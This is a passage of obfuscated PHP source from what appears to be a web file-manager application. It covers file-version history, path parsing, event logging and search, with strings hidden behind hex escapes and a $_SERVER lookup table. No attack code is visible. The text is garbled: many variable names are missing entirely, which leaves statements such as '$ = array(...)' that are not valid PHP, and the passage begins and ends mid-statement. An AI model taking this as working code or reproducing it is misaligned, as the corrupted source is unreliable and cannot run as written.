$ͣ[$æ[1236]]); } IO::fileOut($[$æ[78]], $, get_path_this($)); } public static function listData($ˁ, $ӭ = true) { $׆ =& $_SERVER[譃]; if ($ӭ && !IO::exist($ˁ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ˁ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $㔤 = self::pathHistory($ˁ); $ = array($׆[1234] => $㔤 . $׆[1221], $׆[1233] => rtrim(get_path_father($㔤), $׆[8]) . $׆[8], $׆[368] => array()); $֦ = IO::getContent($[$׆[1234]]); if ($֦) { $ݯ = json_decode($֦, !0); if (is_array($ݯ)) { $[$׆[368]] = $ݯ; } } return $; } private static function saveData($焴, $矿) { $ʗ =& $_SERVER[譃]; self::log($ʗ[1237] . $焴 . $ʗ[71] . count($矿), $ʗ[750]); if ($矿) { return IO::setContent($焴, json_encode($矿)); } $ά = IO::pathFather($焴); IO::remove($焴); self::clearEmptyFolder($ά); return !0; } public static function clearEmptyFolder($ŝ) { $Ϻ =& $_SERVER[譃]; if (trim($ŝ, $Ϻ[8]) == trim(self::$_historyBase, $Ϻ[8])) { return; } $Ǡ = IO::pathFather($ŝ); $ = IO::has($ŝ, !0); if ($[$Ϻ[206]] > 0 || $[$Ϻ[207]] > 0) { return; } IO::remove($ŝ); self::clearEmptyFolder($Ǡ); } private static function getBasePath() { $ާΉ =& $_SERVER[譃]; $ԅ = Model($ާΉ[1238])->get($ާΉ[1239]); if ($ԅ) { if (!IO::exist($ԅ)) { IO::mkdir($ԅ); } if (get_path_this($ԅ) == $ާΉ[1224]) { $ݐ = $ާΉ[1240] . rand_string(8); @rename($ԅ, get_path_father($ԅ) . $ާΉ[8] . $ݐ); $ԅ = DATA_PATH . $ݐ . $ާΉ[8]; file_put_contents(DATA_PATH . $ާΉ[1241], $ާΉ[12]); Model($ާΉ[1238])->set($ާΉ[1239], $ԅ); } return $ԅ; } $ԅ = DATA_PATH . $ާΉ[1240] . rand_string(8) . $ާΉ[8]; $ԅ = IO::mkdir($ԅ); $ԅ = rtrim($ԅ, $ާΉ[8]) . $ާΉ[8]; file_put_contents($ԅ . $ާΉ[1241], $ާΉ[12]); file_put_contents(DATA_PATH . $ާΉ[1241], $ާΉ[12]); Model($ާΉ[1238])->set($ާΉ[1239], $ԅ); return $ԅ; } } class KodIO { const KOD_SOURCE = "\173\x73\x6f\x75\x72\143\x65\175"; const KOD_USER_RECYCLE = "\x7b\x75\163\145\x72\122\x65\143\x79\143\x6c\x65\175"; const KOD_USER_FAV = "\173\x75\x73\x65\162\106\141\x76\x7d"; const KOD_USER_FILE_TAG = "\173\165\163\x65\162\x46\151\x6c\145\x54\141\x67\x7d"; const KOD_USER_FILE_TYPE = "\x7b\165\163\145\x72\106\x69\154\x65\124\x79\160\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\162\157\x75\160\122\157\157\x74\x53\145\x6c\x66\x7d"; const KOD_USER_SHARE = "\x7b\165\163\x65\162\123\150\x61\x72\145\x7d"; const KOD_USER_SHARE_LINK = "\173\x75\163\145\162\123\x68\x61\162\x65\114\151\156\x6b\175"; const KOD_USER_SHARE_TO_ME = "\173\x73\150\x61\162\x65\124\x6f\115\x65\175"; const KOD_SHARE_ITEM = "\x7b\x73\x68\141\162\x65\111\164\145\155\x7d"; const KOD_SHARE_LINK = "\173\x73\x68\x61\162\x65\x49\164\145\155\114\x69\x6e\x6b\175"; const KOD_SEARCH = "\x7b\163\x65\x61\162\x63\x68\x7d"; const KOD_BLOCK = "\x7b\x62\154\x6f\x63\153\x7d"; const KOD_IO = "\x7b\151\157\175"; const KOD_USER_RECENT = "\173\x75\163\145\162\122\x65\x6e\143\x65\x6e\164\x7d"; const KOD_USER_DRIVER = "\x7b\144\162\151\x76\x65\162\x7d"; public static function typeList() { $ =& $_SERVER[譃]; return array($[1242] => self::KOD_SOURCE, $[1243] => self::KOD_USER_RECYCLE, $[1244] => self::KOD_USER_FAV, $[1245] => self::KOD_USER_FILE_TAG, $[1246] => self::KOD_USER_FILE_TYPE, $[1247] => self::KOD_GROUP_ROOT_SELF, $[1248] => self::KOD_USER_SHARE, $[1249] => self::KOD_USER_SHARE_LINK, $[1250] => self::KOD_USER_SHARE_TO_ME, $[1251] => self::KOD_SHARE_ITEM, $[1252] => self::KOD_SHARE_LINK, $[1253] => self::KOD_SEARCH, $[1254] => self::KOD_BLOCK, $[1255] => self::KOD_IO, $[1256] => self::KOD_USER_RECENT, $[1257] => self::KOD_USER_DRIVER); } public static function parse($) { $Ϭڣ =& $_SERVER[譃]; $ = self::clear($); $ײ̍ = array_values(self::typeList()); preg_match($Ϭڣ[1258], $, $ύ); $ۢ = array($Ϭڣ[419] => !1, $Ϭڣ[1259] => !1, $Ϭڣ[416] => !1, $Ϭڣ[78] => $, $Ϭڣ[1168] => !1, $Ϭڣ[1167] => $Ϭڣ[12]); if (is_array($ύ) && count($ύ) == 5) { $Ğ = $Ϭڣ[1260] . $ύ[2] . $Ϭڣ[326]; if (in_array($Ğ, $ײ̍)) { $ۢ[$Ϭڣ[1168]] = $ύ[1]; $ۢ[$Ϭڣ[33]] = $Ğ; $ۢ[$Ϭڣ[1261]] = substr($Ğ, 1, -1); $ۢ[$Ϭڣ[396]] = $ύ[3]; } $ۢ[$Ϭڣ[1167]] = $ύ[4]; } $Ǖ = array($Ϭڣ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $ۢ[$Ϭڣ[1223]] = in_array($ۢ[$Ϭڣ[33]], $Ǖ); return $ۢ; } public static function isTruePath($ՙ样) { $І =& $_SERVER[譃]; if (substr($ՙ样, 0, 1) != $І[1260]) { return !0; } if (strpos($ՙ样, $І[405]) === 0) { return !0; } if (strpos($ՙ样, $І[1227]) === 0) { return !0; } if (strpos($ՙ样, $І[1262]) === 0) { return !0; } if (strpos($ՙ样, $І[1263]) === 0) { return !0; } if (strpos($ՙ样, $І[1264]) === 0) { return !0; } return !1; } public static function clear($) { $įڵӄ =& $_SERVER[譃]; $ = str_replace(array($įڵӄ[1078], $įڵӄ[230]), $įڵӄ[53], $); $ = str_replace($įڵӄ[98], $įڵӄ[8], $); $ˍ = $įڵӄ[1265]; if (substr($, 0, 3) == $įڵӄ[1266]) { $ = substr($, 3); } while (strstr($, $ˍ)) { $ = str_replace($ˍ, $įڵӄ[8], $); } $ = preg_replace($įڵӄ[1267], $įڵӄ[8], $); if ($ == $įڵӄ[8]) { return $įڵӄ[8]; } $ = rtrim($, $įڵӄ[8]); return $; } public static function sourceID($箆) { $Ӓ =& $_SERVER[譃]; $ = self::parse($箆); if ($[$Ӓ[33]] !== self::KOD_SOURCE) { show_json(LNG($Ӓ[1268]), !1); } return $[$Ӓ[396]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($Ƣ, $ű) { return self::makePath(self::KOD_SHARE_ITEM, $Ƣ, $ű); } public static function makeFileTypePath($К) { return self::makePath(self::KOD_USER_FILE_TYPE, $К); } public static function makeFileTagPath($ݶ) { return self::makePath(self::KOD_USER_FILE_TAG, $ݶ); } public static function makePath($, $Ў = '', $ڮӕ = '') { $ =& $_SERVER[譃]; $ē = substr($, 1, -1); $٢ = $[1269] . $ē . $[1270] . $Ў . $[1271]; $٢ = $ڮӕ ? $٢ . $ڮӕ . $[8] : $٢; return $٢; } public static function hashPath($, $ = true) { $慣 =& $_SERVER[譃]; $ = is_array($) ? $ : IO::info($); $ = _get($, $慣[1272], $慣[12]); if (!$ && isset($[$慣[399]])) { $ = IO::info(KodIO::make($[$慣[399]])); $ = _get($, $慣[1272], $慣[12]); } if (!$ && $) { $ = KodIO::parse($[$慣[78]]); if (!$[$慣[33]]) { $ = IO::hashSimple($[$慣[78]]); } } if (!$) { $ = md5($[$慣[78]] . $[$慣[80]] . $[$慣[86]]); } return $; } public static function initSystemPath() { $ψ =& $_SERVER[譃]; if (defined($ψ[1273])) { return; } define($ψ[1273], self::systemPath($ψ[1274])); define($ψ[1275], self::systemPath($ψ[1276])); define($ψ[1277], self::systemPath($ψ[1278])); define($ψ[1279], self::systemPath($ψ[1280])); IOHistory::bindEvent(); } public static function systemPath($ݓ) { $ =& $_SERVER[譃]; $ = $[1281] . ucfirst($ݓ); $ұ = Model($[768])->get($); if ($ұ) { return $ұ; } if ($ݓ == $[1274]) { $ұ = self::make(Model($[823])->systemRootPathAdd($[536])); } else { $ұ = self::systemPath($[1274]); $ʤι = self::sourceID($ұ); $ұ = self::make(Model($[823])->mkdir($ʤι, $ݓ)); } Model($[768])->set($, $ұ); return $ұ; } public static function systemFolder($ȫ) { $馓 = IO_PATH_SYSTEM_SOURCE . $ȫ; $̜ = Cache::get($馓); if (!$̜) { $ = IO::infoFull($馓); if (!$) { $̜ = IO::mkdir($馓, REPEAT_SKIP); } else { $̜ = $[$_SERVER[譃][78]]; } Cache::set($馓, $̜, 3600 * 10); } return $̜; } public static function defaultDriver() { return Model($_SERVER[譃][765])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[譃]; $ = self::defaultDriver(); return $[1282] . $[$[396]] . $[1271]; } public static function defaultDriverInit() { static $ꒀ = false; if ($ꒀ) { return $ꒀ; } $ꒀ = IO::init(self::defaultIO()); return $ꒀ; } public static function fileTypeList() { $ю =& $_SERVER[譃]; $⽮ = $GLOBALS[$ю[6]][$ю[1283]]; foreach ($⽮ as $Ԏ => $ӣ㍷) { $¹ = $ю[1284] . $Ԏ; $鄮 = LNG($¹); if ($¹ != $鄮) { $⽮[$Ԏ][$ю[32]] = $鄮; } } return $⽮; } public static function diskList($β = true) { $ = $_SERVER[譃][1285]; if ($β) { $Ą = Cache::get($); if (is_array($Ą)) { return $Ą; } } $Ą = self::diskListGet(); Cache::set($, $Ą, 60); return $Ą; } public static function diskListGet() { $⢲ =& $_SERVER[譃]; $݁ = array(); if ($GLOBALS[$⢲[6]][$⢲[1286]] == $⢲[1287]) { $קʹ = $⢲[1288]; for ($ = 0; $ < strlen($קʹ); $++) { $Ж = $קʹ[$] . $⢲[1289]; if (file_exists($Ж)) { $݁[] = $Ж; } } return $݁; } if (!function_exists($⢲[99])) { $݁[] = $⢲[833]; return $݁; } $ׂ = explode($⢲[230], shell_exec($⢲[1290])); array_shift($ׂ); array_pop($ׂ); $ = array($⢲[1291], $⢲[1292], $⢲[1293], $⢲[1294], $⢲[1295], $⢲[1296], $⢲[1297], $⢲[1298]); foreach ($ׂ as $ԏ) { $я = preg_split($⢲[1299], $ԏ); $Ж = $я[count($я) - 1]; if (!strstr($я[0], $⢲[1300]) || !$Ж) { continue; } $ҽ = rtrim($Ж, $⢲[8]) . $⢲[8]; if (in_array($ҽ, $)) { continue; } $݁[] = $ҽ; } return $݁; } public static function isSameDisk($, $) { $ܫ =& $_SERVER[譃]; if ($GLOBALS[$ܫ[6]][$ܫ[1286]] == $ܫ[1287]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $ڭ = self::diskList(); $ȵ = !1; $ = !1; sort($ڭ); $ڭ = array_reverse($ڭ); $ = rtrim($, $ܫ[8]) . $ܫ[8]; $ = rtrim($, $ܫ[8]) . $ܫ[8]; foreach ($ڭ as $ޒ) { $ = strlen($ޒ); if (!$ȵ && substr($, 0, $) == $ޒ) { $ȵ = $ޒ; } if (!$ && substr($, 0, $) == $ޒ) { $ = $ޒ; } if ($ȵ && $) { break; } } return $ȵ === $; } public static function transferType($, $ݺ) { $ެؤ =& $_SERVER[譃]; $ρ = self::driverType($); $كܑ = self::driverType($ݺ); if ($ρ[$ެؤ[33]] == $كܑ[$ެؤ[33]] && $ρ[$ެؤ[1301]] == $كܑ[$ެؤ[1301]]) { return $ެؤ[1302]; } if ($ρ[$ެؤ[33]] == $ެؤ[862] && $كܑ[$ެؤ[33]] == $ެؤ[107]) { return $ެؤ[1197]; } if ($ρ[$ެؤ[33]] == $ެؤ[107] && $كܑ[$ެؤ[33]] == $ެؤ[862]) { return $ެؤ[108]; } return $ެؤ[1303]; } public static function driverType($¿) { $ے =& $_SERVER[譃]; $ɒ = str_replace($ے[1304], $ے[12], strtolower($¿->getType())); if ($ɒ == $ے[756] || $ɒ == $ے[1305] || $ɒ == $ے[1306]) { $¿ = self::defaultDriverInit(); } else { if ($ɒ == $ے[1204] || $ɒ == $ے[1307]) { $¿ = IO::init($¿->pathParse[$ے[1151]]); } } $Ŗ = $¿->path; $ɒ = str_replace($ے[1304], $ے[12], strtolower($¿->getType())); if ($ɒ == $ے[107]) { return array($ے[33] => $ے[107], $ے[1301] => $ے[12], $ے[78] => $Ŗ); } return array($ے[33] => $ے[862], $ے[1301] => $¿->pathDriver, $ے[78] => $Ŗ); } public static function pathDriverType($Ɗ) { return $Ɗ ? self::driverType(IO::init($Ɗ)) : !1; } } goto d҄; Eʑ: class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\137\163\x6f\x75\x72\x63\145\x5f\x65\166\x65\156\x74"; protected $dataAuto = array(array("\143\162\x65\x61\x74\x65\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\156\163\x65\162\x74", "\x66\165\x6e\x63\x74\x69\157\156"), array("\x64\145\163\x63", '', "\151\x6e\163\x65\x72\x74\x2c\x75\160\x64\141\164\x65\x2c\x73\x65\154\145\x63\x74", "\x6a\x73\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $쥳, $ = '') { $ =& $_SERVER[譃]; if (!$this->eventSave) { return; } $ = Model($[1325])->sourceInfo($); if (!$) { return !1; } if ($this->isCacheEvent($, $쥳)) { return; } if ($ && is_string($)) { $ = array($[1861] => $); } $̸Ԑ = array($[414] => $, $[2037] => $[$[494]], $[2038] => $[$[32]], $[515] => !empty($[$[515]]) ? $[$[515]] : $[12], $[1646] => USER_ID, $[419] => $쥳, $[1648] => $); $this->addSystemLog($쥳, $̸Ԑ); unset($̸Ԑ[$[2038]], $̸Ԑ[$[515]]); return $this->add($̸Ԑ); } private function addSystemLog($㸼, $냻) { $뜦 =& $_SERVER[譃]; if ($㸼 == $뜦[2039]) { $㸼 = $냻[$뜦[447]][$뜦[2040]]; } else { if (in_array($㸼, array($뜦[1803], $뜦[2041]))) { $㸼 = $냻[$뜦[447]][$뜦[753]]; } } $呭 = array_merge($냻, array($뜦[2042] => $냻[$뜦[399]], $뜦[2043] => $냻[$뜦[2043]])); Hook::trigger($뜦[2044], $뜦[2045] . $㸼, $냻); Model($뜦[1767])->addLog($뜦[2045] . $㸼, $呭); } private function isCacheEvent($ی, $ͧՍ) { if ($ی[$_SERVER[譃][408]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($ý, $䵜) { $̖ϥ =& $_SERVER[譃]; $ = Model($̖ϥ[1325])->sourceInfo($ý); $ׯ = array($̖ϥ[2040] => $䵜, $̖ϥ[32] => $[$̖ϥ[32]]); return $this->addEvent($ý, $̖ϥ[2039], $ׯ); } public function eventFileEdit($) { $ =& $_SERVER[譃]; $ = array($[2046] => $_SERVER[$[2047]], $[2048] => strtolower(ACTION)); return $this->addEvent($, $[1793], $); } public function eventRecycle($ўޟ, $) { return $this->addEvent($ўޟ, $_SERVER[譃][2041], $); } public function eventRemove($֗) { $Ӱ =& $_SERVER[譃]; $영 = Model($Ӱ[1325])->sourceInfo($֗); $ = $영[$Ӱ[32]]; return $this->addEvent($영[$Ӱ[494]], $Ӱ[1792], $); } public function eventShare($, $ͼ) { return $this->addEvent($, $_SERVER[譃][1803], $ͼ); } public function eventMove($ײ, $, $ғ) { $ڹ =& $_SERVER[譃]; $υ = Model($ڹ[1325]); $ǚэ = $υ->sourceInfo($ײ); $ԓĺ = $υ->sourceInfo($); $ = $υ->sourceInfo($ғ); $ú = array($ڹ[1158] => $, $ڹ[2049] => $ԓĺ[$ڹ[32]], $ڹ[2028] => !empty($ԓĺ[$ڹ[515]]) ? $ԓĺ[$ڹ[515]] : $ڹ[12], $ڹ[1159] => $ғ, $ڹ[2050] => $[$ڹ[32]], $ڹ[2051] => !empty($[$ڹ[515]]) ? $[$ڹ[515]] : $ڹ[12]); $this->addEvent($ײ, $ڹ[550], $ú); $ǚэ = $υ->sourceInfo($ײ); $ú = array($ڹ[399] => $ǚэ[$ڹ[399]], $ڹ[32] => $ǚэ[$ڹ[32]]); $this->addEvent($, $ڹ[2052], $ú); } public function eventCopy($) { $this->eventCreate($, $_SERVER[譃][548]); } public function eventRename($Ɠ, $, $썷) { $ =& $_SERVER[譃]; $Β = array($[1158] => $, $[1159] => $썷); return $this->addEvent($Ɠ, $[1340], $Β); } public function eventAddComment($ǻ, $є) { return $this->addEvent($ǻ, $_SERVER[譃][2053], $є); } public function eventAddDesc($䫅, $ة߿) { return $this->addEvent($䫅, $_SERVER[譃][2054], $ة߿); } public function listBySource($ɀ) { $ȿװ =& $_SERVER[譃]; $؉܅ = Model($ȿװ[1325])->sourceInfo($ɀ); $⳨ٸ = array($ȿװ[414] => $ɀ); if ($؉܅[$ȿװ[407]] == $ȿװ[89]) { $һDZ = Model($ȿװ[1325])->listSearchChildren($ɀ, 20000); $һDZ[] = $ɀ . $ȿװ[377]; $⳨ٸ = array($ȿװ[399] => array($ȿװ[7], $һDZ)); } $̠ = $this->where($⳨ٸ)->order($ȿװ[2055])->selectPage(); if ($̠[$ȿװ[365]][$ȿװ[366]] == 0) { $̠[$ȿװ[365]][$ȿװ[366]] = 1; $̠[$ȿװ[368]] = array(array($ȿװ[414] => $ɀ, $ȿװ[2037] => $؉܅[$ȿװ[494]], $ȿװ[1646] => $؉܅[$ȿװ[448]], $ȿװ[419] => $ȿװ[2056], $ȿװ[420] => $؉܅[$ȿװ[197]], $ȿװ[1648] => $ȿװ[12])); } return $this->eventListParse($̠, $ɀ); } private function eventListParse($, $) { $ɋ =& $_SERVER[譃]; $ꪮ = $[$ɋ[368]]; $ = array_to_keyvalue($ꪮ, $ɋ[12], $ɋ[399]); $ = array_to_keyvalue($ꪮ, $ɋ[12], $ɋ[2043]); foreach ($ꪮ as $) { $ = $[$ɋ[447]]; if ($[$ɋ[33]] == $ɋ[550] && isset($[$ɋ[1158]])) { $[] = $[$ɋ[1158]] . $ɋ[12]; $[] = $[$ɋ[1159]] . $ɋ[12]; } if ($[$ɋ[33]] == $ɋ[2052] && isset($[$ɋ[399]])) { $[] = $[$ɋ[399]] . $ɋ[12]; } } $ = array_merge($, $, array($ . $ɋ[12])); $ = array_unique($); $Į = array_unique(array_to_keyvalue($ꪮ, $ɋ[12], $ɋ[1655])); $ٙ = Model($ɋ[537])->userListInfo($Į); $ڷ = Model($ɋ[823])->sourceListInfo($, !0); foreach ($ꪮ as &$) { if ($[$ɋ[33]] == $ɋ[550] && isset($[$ɋ[447]][$ɋ[1158]])) { $[$ɋ[447]][$ɋ[1158]] = $ڷ[$[$ɋ[447]][$ɋ[1158]]]; $[$ɋ[447]][$ɋ[1159]] = $ڷ[$[$ɋ[447]][$ɋ[1159]]]; } if ($[$ɋ[33]] == $ɋ[2052] && isset($[$ɋ[447]][$ɋ[399]])) { $[$ɋ[447]][$ɋ[399]] = $ڷ[$[$ɋ[447]][$ɋ[399]]]; } $[$ɋ[87]] = $ڷ[$[$ɋ[399]]]; $[$ɋ[2057]] = $ڷ[$[$ɋ[2043]]]; if ($[$ɋ[33]] == $ɋ[1792]) { $[$ɋ[2057]] = $[$ɋ[87]]; $[$ɋ[2043]] = $[$ɋ[2057]][$ɋ[399]]; $[$ɋ[87]] = !1; $[$ɋ[399]] = $ɋ[12]; } $[$ɋ[1988]] = $ٙ[$[$ɋ[1655]]]; } unset($); $[$ɋ[368]] = $ꪮ; return $; } public function removeBySource($) { $ = array($_SERVER[譃][414] => $); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\x75\x72\x63\145\137\150\151\163\x74\x6f\x72\171"; public function historyCount($) { $ =& $_SERVER[譃]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $̥ = array($[399], $[1855] => $[496]); $ǵ = array($[399] => array($[7], $)); $ڎ = $this->field($̥)->where($ǵ)->group($[399])->select(); return array_to_keyvalue($ڎ, $[399], $[496]); } public function addHistory($, $ = '') { $ =& $_SERVER[譃]; $ = array($[414] => $[$[399]], $[1646] => isset($[$[450]]) ? $[$[450]] : $[$[448]], $[464] => $[$[463]], $[578] => $[$[80]], $[2058] => $); $ = $GLOBALS[$[6]][$[90]][$[1207]]; if ($ > 1) { $this->historyAutoClear($[$[399]]); $this->add($); } Hook::trigger($[2059], $); Model($[2060])->eventFileEdit($[$[399]]); } private function historyAutoClear($ƈ) { $Ň =& $_SERVER[譃]; $ = Model($Ň[768])->get($Ň[1229]); $ = $GLOBALS[$Ň[6]][$Ň[90]][$Ň[1207]]; $ = $ == $Ň[1230] ? 5 : $; if ($ <= 1) { $ = 1; } if ($ >= 500) { return; } $ = array($Ň[414] => $ƈ); $ = $this->field($Ň[2061])->where($)->order($Ň[2055])->select(); if (!$ || $ >= count($)) { return; } $ӭؾ = array_to_keyvalue($, $Ň[12], $Ň[396]); $ӭؾ = array_slice($ӭؾ, $); $ = array_to_keyvalue($, $Ň[12], $Ň[463]); $ = array_slice($, $); if (!$ӭؾ || !$) { return; } $ = array($Ň[416] => array($Ň[7], $ӭؾ)); $this->where($)->delete(); Model($Ň[466])->remove($); } public function listData($) { $ћ =& $_SERVER[譃]; $ = array($ћ[414] => $); $Մ = $ћ[2062]; $͍ = $this->field($Մ)->where($)->order($ћ[2055])->selectPage(); $this->_listAppendUser($͍[$ћ[368]]); $ѽ͌ = Model($ћ[768])->get($ћ[1229]); $ = 5; if ($ѽ͌ == $ћ[1230]) { $͍[$ћ[368]] = array_slice($͍[$ћ[368]], 0, $); $͍[$ћ[365]] = array($ћ[2063] => 1, $ћ[2064] => 20, $ћ[2065] => 1, $ћ[2066] => count($͍[$ћ[368]])); } return $͍; } protected function _listAppendUser(&$ɐ) { $ɪ =& $_SERVER[譃]; $ب = array_to_keyvalue($ɐ, $ɪ[12], $ɪ[1655]); $ = Model($ɪ[537])->userListInfo($ب); foreach ($ɐ as &$) { $ѭ = $[$ɪ[1655]]; $[$ɪ[448]] = $[$ѭ] ? $[$ѭ] : !1; } unset($); } public function fileInfo($) { $ =& $_SERVER[譃]; $ʑ = $this->tablePrefix; $ = "{$ʑ}\x69\x6f\x5f\x66\x69\154\145\40\146\151\154\145\163\40\157\x6e\x20\x66\x69\154\x65\x73\56\146\151\154\x65\111\x44\40\x3d\x20\x68\x69\x73\164\157\x72\x79\x2e\146\151\154\145\x49\x44"; return $this->alias($[2067])->where(array($[416] => $))->join($, $[2068])->find(); } public function removeItem($ݱ) { $Є =& $_SERVER[譃]; $ = array($Є[416] => $ݱ); $ = $this->where($)->find(); if ($) { $⩯ = $this->where($)->delete(); Model($Є[466])->remove($[$Є[463]]); return $⩯; } return !1; } public function removeBySource($) { $Đ㗺 =& $_SERVER[譃]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($Đ㗺[414] => array($Đ㗺[7], $)); $ג = $this->field($Đ㗺[464])->where($)->select(); if ($ג) { $this->where($)->delete(); $ø = array_to_keyvalue($ג, $Đ㗺[12], $Đ㗺[463]); Model($Đ㗺[466])->remove($ø); } return !0; } public function setDetail($, $ܝ) { $ =& $_SERVER[譃]; return $this->where(array($[416] => $))->save(array($[2058] => $ܝ)); } public function rollbackToItem($, $) { $ =& $_SERVER[譃]; $ś = Model($[823])->sourceInfo($); $this->addHistory($ś, LNG($[2069])); $¥ = $this->find($); $ = array($[463] => $¥[$[463]], $[80] => $¥[$[80]], $[86] => time(), $[450] => USER_ID); Model($[823])->where(array($[399] => $))->save($); return $this->where(array($[416] => $))->delete(); } public function clearSame($ߊ) { $ =& $_SERVER[譃]; $ʧ = $this->listData($ߊ); $ʙ = array_to_keyvalue_group($ʧ, $[463]); $ = array(); $ = array(); foreach ($ʙ as $܁) { if (!$܁ || count($܁) <= 1) { continue; } foreach ($܁ as $љϴ) { $[] = $љϴ[$[463]]; $[] = $љϴ[$[396]]; } } if (!$) { return; } $this->where(array($[396] => array($[7], $)))->delete(); Model($[466])->remove($); } public function userSpace() { $Ϻ =& $_SERVER[譃]; $ = $this->tablePrefix; $Ľ = array($Ϻ[1646] => USER_ID); $Ÿ = "{$}\x69\157\137\x66\151\154\x65\40\x66\x69\x6c\x65\x73\40\x6f\x6e\40\x66\x69\154\x65\163\x2e\x66\151\154\145\111\104\40\75\x20\x68\151\163\x74\x6f\162\171\56\x66\x69\x6c\x65\111\x44"; return $this->alias($Ϻ[2067])->where($Ľ)->join($Ÿ, $Ϻ[2068])->sum($Ϻ[80]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($噬) { $ =& $_SERVER[譃]; $ = KodIO::fileTypeList(); $ = $[$噬]; if (!$) { return array(); } $ց = $[$[171]]; $Є = $[7]; if (!$[$[171]]) { $ = array_to_keyvalue($, $[12], $[171]); $ց = implode($[50], $); $Є = $[2070]; } $ = explode($[50], trim($ց, $[50])); return array($Є, $); } public function listPathType($) { $ =& $_SERVER[譃]; $۰ = $this->fileTypeWhere($); if (!$۰) { return array(); } $ = array($[579] => SourceModel::TYPE_USER, $[580] => USER_ID, $[576] => 0, $[577] => $۰); return $this->listSource($); } public function listSearch($, $ = 300) { $Ʌ =& $_SERVER[譃]; if (isset($[$Ʌ[1916]]) && $[$Ʌ[1916]]) { $[$Ʌ[1916]] = str_replace($Ʌ[383], $Ʌ[2071], trim($[$Ʌ[1916]])); } $՛ = $this->_parseSearchWhere($); $ÈӁ = $՛; if (!isset($՛[$Ʌ[427]])) { $՛[$Ʌ[427]] = 0; } $ = $Ʌ[2072]; $㊚ = $; $this->_listSearchBindPinyin($, $՛, $); $this->alias($Ʌ[440])->_makeOrder(); $՛ = $this->parseWhereLike($՛); $ = $this->distinct(!0)->field($)->where($՛)->selectPage($); $this->_listSearchFileContent($, $, $㊚, $ÈӁ); $this->_listSearchDesc($, $, $㊚); $this->_listSearchTag($, $, $㊚); $this->_listSearchGroupTag($, $, $㊚); $this->_listDataApply($[$Ʌ[368]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $ԃ͏ς, $) { $ =& $_SERVER[譃]; if (!$[$[1916]] || $[$[365]][$[352]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[463]])) { return; } $[$[463]] = array($[7], $[$[463]]); unset($[$[32]]); unset($[$[463]]); $ɟ = $this->field($ԃ͏ς)->where($)->limit($[2073])->select(); if (!$ɟ || count($ɟ) == 0) { return; } $[$[368]] = array_merge($ɟ, $[$[368]]); $[$[365]][$[366]] += count($ɟ); } private function _listSearchTag(&$ƪ, $Ǘ, $) { $ =& $_SERVER[譃]; if (!$Ǘ[$[1916]] || $ƪ[$[365]][$[352]] > 1) { return; } $ԟ = Model($[2074])->listData(); $ = array(); $ = $Ǘ[$[1916]]; foreach ($ԟ as $먑) { $ = $먑[$[32]]; $Ǐ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($Ǐ, $) !== !1) { $[] = $먑[$[396]]; } } if (!$) { return; } $Ӥګ = array($[423] => array($[7], $), $[1655] => USER_ID); $ = Model($[424])->field($[78])->where($Ӥګ)->select(); $ = array_to_keyvalue($, $[12], $[78]); $ = array_unique($); $this->_listSearchMerge($ƪ, $Ǘ, $, $); } private function _listSearchDesc(&$, $ڟ, $ϥ) { $ݴ =& $_SERVER[譃]; if (!$ڟ[$ݴ[1916]] || $[$ݴ[365]][$ݴ[352]] > 1) { return; } $ = $this->listSearchChildren($ڟ[$ݴ[494]]); $ = array_unique($); if (!$) { return; } $ = array($ݴ[399] => array($ݴ[7], $), $ݴ[95] => $ݴ[447], $ݴ[373] => array($ݴ[382], $ݴ[1918] . $ڟ[$ݴ[1916]] . $ݴ[1918])); $ټ = Model($ݴ[562])->field($ݴ[399])->where($)->select(); $ = array_to_keyvalue($ټ, $ݴ[12], $ݴ[399]); $this->_listSearchMerge($, $ڟ, $ϥ, $); } private function _listSearchGroupTag(&$ۙ, $˾, $) { $ =& $_SERVER[譃]; if (!$˾[$[1916]] || $ۙ[$[365]][$[352]] > 1 || !$˾[$[494]]) { return; } $ = $this->sourceInfo($˾[$[494]]); if (!$ || $[$[408]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[501]]; $Ɗ = Model($[2075])->get($); $ = array(); $ث = $˾[$[1916]]; foreach ($Ɗ[$[368]] as $ѳ) { $ީ = $ѳ[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($ީ)); if (stripos($ީ, $ث) !== !1 || stripos($, $ث) !== !1) { $[] = $ѳ[$[396]]; } } if (!$) { return; } $卧 = array($[423] => array($[7], $), $[1655] => 0, $[33] => $[1938] . $); $ = Model($[424])->field($[78])->where($卧)->select(); $ = array_to_keyvalue($, $[12], $[78]); $ˊ = array_unique($); $this->_listSearchMerge($ۙ, $˾, $, $ˊ); } private function _listSearchMerge(&$݇, $̮, $Ą¾, $) { $Ȗ =& $_SERVER[譃]; if (!$) { return; } $ރ = array_to_keyvalue($݇[$Ȗ[368]], $Ȗ[12], $Ȗ[399]); $ = array_diff($, $ރ); if (!$) { return; } $ܙ = array($Ȗ[399] => array($Ȗ[7], $)); $ו = $this->field($Ą¾)->where($ܙ)->select(); if (!$ו) { return; } $߹ = array(); foreach ($ו as $) { if ($this->_listSearchFilter($, $̮)) { $߹[] = $; } } $݇[$Ȗ[368]] = array_merge($߹, $݇[$Ȗ[368]]); $݇[$Ȗ[365]][$Ȗ[366]] += count($߹); } private function 